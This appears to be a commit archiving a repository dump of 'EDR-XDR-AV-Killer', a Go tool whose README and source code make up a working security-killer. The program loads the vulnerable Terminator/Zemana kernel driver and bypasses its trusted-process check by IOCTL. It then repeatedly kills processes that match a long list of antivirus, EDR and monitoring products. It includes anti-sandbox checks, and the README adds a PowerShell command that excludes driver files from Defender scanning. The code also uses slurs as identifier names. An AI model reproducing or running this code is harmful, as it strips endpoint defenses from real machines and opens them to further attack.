archive: add 5 repo prompt(s) [skip ci]

archive/EvilBytecode/EDR-XDR-AV-Killer.txt

@@ -0,0 +1,364 @@
+Project Path: arc_EvilBytecode_EDR-XDR-AV-Killer_986qxndi
+
+Source Tree:
+
+```txt
+arc_EvilBytecode_EDR-XDR-AV-Killer_986qxndi
+├── LICENSE
+├── README.md
+├── Terminator.sys
+└── main.go
+
+```
+
+`LICENSE`:
+
+```
+MIT License
+
+Copyright (c) 2025 EvilBytecode
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to use the Software for educational and authorized cybersecurity research purposes only, subject to the following conditions:
+
+The above copyright notice, this permission notice, and the following disclaimer shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS (INCLUDING EvilBytecode) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE, COPYING, DOWNLOADING, OR OTHER DEALINGS IN THE SOFTWARE.
+
+DISCLAIMER: I, EvilBytecode, release this project strictly for educational, academic, and authorized cybersecurity research purposes.  
+By accessing, downloading, copying, using, or modifying this software, you agree to these terms.  
+You must obtain explicit written permission from system owners before conducting any testing using this software.  
+Unauthorized use, distribution, or deployment of this software against any third party, device, network, or system without prior consent is strictly forbidden and illegal.  
+I, EvilBytecode, disclaim all responsibility, liability, or consequences arising from any misuse, illegal activities, damages, or losses resulting from this software.
+```
+
+`README.md`:
+
+```md
+# EDR-XDR-AV-Killer
+
+* Reproducing Spyboy technique, which involves terminating all EDR/XDR/AVs processes by abusing the zam64.sys driver
+* Spyboy was selling the Terminator software at a price of $3,000 [for more detail](https://www.bleepingcomputer.com/news/security/terminator-antivirus-killer-is-a-vulnerable-windows-driver-in-disguise/)
+* the sample is sourced from [loldrivers](https://www.loldrivers.io/drivers/49920621-75d5-40fc-98b0-44f8fa486dcc/)
+
+# Usage
+
+* Place the driver `Terminator.sys` in the same path as the executable
+* run the program as an administrator
+* keep the program running to prevent the service from restarting the anti-malwares
+
+![image](https://github.com/EvilBytecode/GoRedOps/assets/151552809/5dab4648-35e5-4fa0-a62f-24c04a029463)
+
+  
+# Technical details
+
+* The driver contains some protectiion mechanism that only allow trusted Process IDs to send IOCTLs, Without adding your process ID to the trusted list, you will receive an 'Access Denied' message every time. However, this can be easily bypassed by sending an IOCTL with our PID to be added to the trusted list, which will then permit us to control numerous critical IOCTLs
+
+  ![image](https://github.com/ZeroMemoryEx/Terminator/assets/60795188/e26238c8-fcf8-40ec-9ed8-8e8de9436093)
+
+* Comes with simple antidbg.
+* Add This so WD Ignores defender by this quick sample
+
+```go
+exec.Command("powershell", "-Command", "Set-MpPreference -ExclusionExtension *.sys -Force").Run()
+```
+## Credits
+- Credits to ZeroMemoryX 👍
+
+
+## License
+This project is licensed under the MIT License. See the LICENSE file for details.
+```
+
+`main.go`:
+
+```go
+package main
+
+import (
+	"fmt"
+	"os"
+	"strings"
+	"syscall"
+	"unsafe"
+        "time"
+	"golang.org/x/sys/windows"
+)
+
+const (
+	IOCTL_REGISTER_PROCESS  = 0x80002010
+	IOCTL_TERMINATE_PROCESS = 0x80002048
+)
+
+var _ unsafe.Pointer
+
+// Do the interface allocations only once for common
+// Errno values.
+const (
+	errnoERROR_IO_PENDING = 997
+)
+
+var (
+	errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
+	errERROR_EINVAL     error = syscall.EINVAL
+)
+
+// errnoErr returns common boxed Errno values, to prevent
+// allocations at runtime.
+func errnoErr(e syscall.Errno) error {
+	switch e {
+	case 0:
+		return errERROR_EINVAL
+	case errnoERROR_IO_PENDING:
+		return errERROR_IO_PENDING
+	}
+	// TODO: add more here, after collecting data on the common
+	// error values see on Windows. (perhaps when running
+	// all.bat?)
+	return e
+}
+
+
+
+var (
+	gtc = syscall.NewLazyDLL("kernel32.dll").NewProc("GetTickCount")
+	mk32          = windows.NewLazySystemDLL("Kernel32.dll")
+	pep   = mk32.NewProc("K32EnumProcesses")
+	devico  = mk32.NewProc("DeviceIoControl")
+	drivnam = "Terminator"
+	edrgaylist     = []string{
+		"activeconsole", "anti malware", "anti-malware",
+		"antimalware", "anti virus", "anti-virus",
+		"antivirus", "appsense", "authtap",
+		"avast", "avecto", "canary",
+		"carbonblack", "carbon black", "cb.exe",
+		"ciscoamp", "cisco amp", "countercept",
+		"countertack", "cramtray", "crssvc",
+		"crowdstrike", "csagent", "csfalcon",
+		"csshell", "cybereason", "cyclorama",
+		"cylance", "cyoptics", "cyupdate",
+		"cyvera", "cyserver", "cytray",
+		"darktrace", "defendpoint", "defender",
+		"eectrl", "elastic", "endgame",
+		"f-secure", "forcepoint", "fireeye",
+		"groundling", "GRRservic", "inspector",
+		"ivanti", "kaspersky", "lacuna",
+		"logrhythm", "malware", "mandiant",
+		"mcafee", "morphisec", "msascuil",
+		"msmpeng", "nissrv", "omni",
+		"omniagent", "osquery", "palo alto networks",
+		"pgeposervice", "pgsystemtray", "privilegeguard",
+		"procwall", "protectorservic", "qradar",
+		"redcloak", "secureworks", "securityhealthservice",
+		"semlaunchsv", "sentinel", "sepliveupdat",
+		"sisidsservice", "sisipsservice", "sisipsutil",
+		"smc.exe", "smcgui", "snac64",
+		"sophos", "splunk", "srtsp",
+		"servicehost.exe", "mcshield.exe",
+		"mcupdatemgr.exe", "QcShm.exe", "ModuleCoreService.exe", "PEFService.exe", "McAWFwk.exe", "mfemms.exe", "mfevtps.exe", "McCSPServiceHost.exe", "Launch.exe", "delegate.exe", "McDiReg.exe", "McPvTray.exe", "McInstruTrack.exe", "McUICnt.exe", "ProtectedModuleHost.exe", "MMSSHOST.exe", "MfeAVSvc.exe",
+		"symantec", "symcorpu", "symefasi",
+		"sysinternal", "sysmon", "tanium",
+		"tda.exe", "tdawork", "tpython",
+		"mcapexe.exe",
+		"vectra", "wincollect", "windowssensor",
+		"wireshark", "threat", "xagt.exe",
+		"xagtnotif.exe", "mssense", "efwd.exe", "ekrn.exe",
+	}
+)
+
+func loaddriv(driverPath string) bool {
+	manghand, err := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_ALL_ACCESS)
+	if err != nil {
+		fmt.Println("erm... Failed to open service control manager:", err)
+		return true
+	}
+	defer windows.CloseServiceHandle(manghand)
+
+	serviceHandle, err := windows.OpenService(manghand, windows.StringToUTF16Ptr(drivnam), windows.SERVICE_ALL_ACCESS)
+	if err == nil {
+		fmt.Println("erm... Service already exists.")
+		var serviceStatus windows.SERVICE_STATUS
+		err := windows.QueryServiceStatus(serviceHandle, &serviceStatus)
+		if err != nil {
+			fmt.Println("erm... Failed to query service status:", err)
+			return true
+		}
+		if serviceStatus.CurrentState == windows.SERVICE_STOPPED {
+			err = windows.StartService(serviceHandle, 0, nil)
+			if err != nil {
+				fmt.Println("erm... Failed to start service:", err)
+				return true
+			}
+			fmt.Println("erm... Starting service...")
+		}
+		windows.CloseServiceHandle(serviceHandle)
+		return false
+	}
+
+	driverPathPtr, err := syscall.UTF16PtrFromString(driverPath)
+	if err != nil {
+		fmt.Println("erm... Failed to convert driver path:", err)
+		return true
+	}
+
+	serviceHandle, err = windows.CreateService(manghand, windows.StringToUTF16Ptr(drivnam),
+		windows.StringToUTF16Ptr(drivnam), windows.SERVICE_ALL_ACCESS, windows.SERVICE_KERNEL_DRIVER,
+		windows.SERVICE_DEMAND_START, windows.SERVICE_ERROR_IGNORE, driverPathPtr, nil, nil, nil, nil, nil)
+	if err != nil {
+		fmt.Println("erm... Failed to create service:", err)
+		return true
+	}
+	fmt.Println("erm... Service created successfully.")
+
+	err = windows.StartService(serviceHandle, 0, nil)
+	if err != nil {
+		fmt.Println("erm... Failed to start service:", err)
+		windows.CloseServiceHandle(serviceHandle)
+		return true
+	}
+	fmt.Println("erm... started service...")
+	windows.CloseServiceHandle(serviceHandle)
+
+	return false
+}
+
+func gay(str string) string {
+	return strings.ToLower(str)
+}
+
+func edrlistcheck(pn string) bool {
+	tempv := gay(pn)
+	for _, edr := range edrgaylist {
+		if strings.Contains(tempv, edr) {
+			return true
+		}
+	}
+	return false
+}
+
+func DeviceIoControl(p1 windows.Handle, p2 uint32, p3 uintptr, p4 uint32, p5 uintptr, p6 uint32, p7 *uint32, p8 uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall9(devico.Addr(), 8, uintptr(p1), uintptr(p2), p3, uintptr(p4), p5, uintptr(p6), uintptr(unsafe.Pointer(p7)), p8, 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+
+func edrcheck(hDevice windows.Handle) int {
+	var procId, pOutbuff uint32
+	var bytesRet uint32
+	var ecount int
+	var hSnap windows.Handle
+
+	hSnap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
+	if err != nil {
+		fmt.Println("ermm.... failed to create process snapshot:", err)
+		return ecount
+	}
+	defer windows.CloseHandle(hSnap)
+
+	var pE windows.ProcessEntry32
+	pE.Size = uint32(unsafe.Sizeof(pE))
+
+	err = windows.Process32First(hSnap, &pE)
+
+	for {
+		if err != nil {
+			break
+		}
+		exeName := windows.UTF16ToString(pE.ExeFile[:])
+		if edrlistcheck(exeName) {
+			procId = pE.ProcessID
+			err := DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS,
+				uintptr(unsafe.Pointer(&procId)), uint32(unsafe.Sizeof(procId)),
+				uintptr(unsafe.Pointer(&pOutbuff)), uint32(unsafe.Sizeof(pOutbuff)),
+				&bytesRet, 0)
+			if err != nil {
+				fmt.Printf("erm... failed to terminate %s !!\n", exeName)
+			} else {
+				fmt.Printf("erm... terminated %s\n", exeName)
+				ecount++
+			}
+		}
+		err = windows.Process32Next(hSnap, &pE)
+	}
+	return ecount
+
+}
+
+func rpc() int {
+	// current running proceesses
+	var ids [1024]uint32
+	var needed uint32
+	pep.Call(uintptr(unsafe.Pointer(&ids)), uintptr(len(ids)), uintptr(unsafe.Pointer(&needed)))
+	return int(needed / 4)
+}
+
+func main() {
+
+	heh, _, _ := gtc.Call()
+	if heh/1000 < 1200 {
+		os.Exit(-1)
+	}
+	// Check Processes (Workstations have most of the time less than 50)
+	count := rpc()
+	if count < 50 {
+		return
+	}
+	
+	var FullDriverPath string
+
+	hFind, _ := syscall.FindFirstFile(syscall.StringToUTF16Ptr("Terminator.sys"), &syscall.Win32finddata{})
+
+	if hFind != syscall.InvalidHandle { // file is not found
+		var err error
+		FullDriverPath, err = syscall.FullPath("Terminator.sys")
+		if err != nil { // full path is not found
+			fmt.Println("Path not found !!")
+			os.Exit(-1)
+		}
+	} else {
+		fmt.Println("Driver not found !!")
+		os.Exit(-1)
+	}
+	fmt.Printf("Driver path: %s\n", FullDriverPath)
+
+	if loaddriv(FullDriverPath) {
+		fmt.Println("Failed to load driver, try to run the program as administrator!!")
+		os.Exit(-1)
+	}
+	fmt.Println("Driver loaded successfully !!")
+
+	hDevice, err := syscall.CreateFile(syscall.StringToUTF16Ptr(`\\.\ZemanaAntiMalware`), syscall.GENERIC_WRITE|syscall.GENERIC_READ, 0,
+		nil, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)
+	if err != nil {
+		fmt.Println("Failed to open handle to driver !!")
+		os.Exit(-1)
+	}
+
+	var input uint32 = uint32(windows.GetCurrentProcessId())
+	var dummy uint32
+	if err := DeviceIoControl(windows.Handle(hDevice), IOCTL_REGISTER_PROCESS, uintptr(unsafe.Pointer(&input)), uint32(unsafe.Sizeof(input)),
+		0, 0, &dummy, 0); err != nil {
+	
+		fmt.Printf("Failed to register the process in the trusted list %X !!\n", IOCTL_REGISTER_PROCESS)
+		syscall.CloseHandle(hDevice)
+		os.Exit(-1)
+	}
+	fmt.Printf("Process registered in the trusted list %X !!\n", IOCTL_REGISTER_PROCESS)
+
+	fmt.Println("Terminating ALL EDR/XDR/AVs...")
+	// bad code right here, its useless but ye i wont upd you can simply do it yourself, beginner can do it!
+	for {
+		if count := edrcheck(windows.Handle(hDevice)); count == 0 {
+			time.Sleep(1 * time.Second)
+		} else {
+			time.Sleep(1 * time.Second)
+		}
+	}
+}
+
+```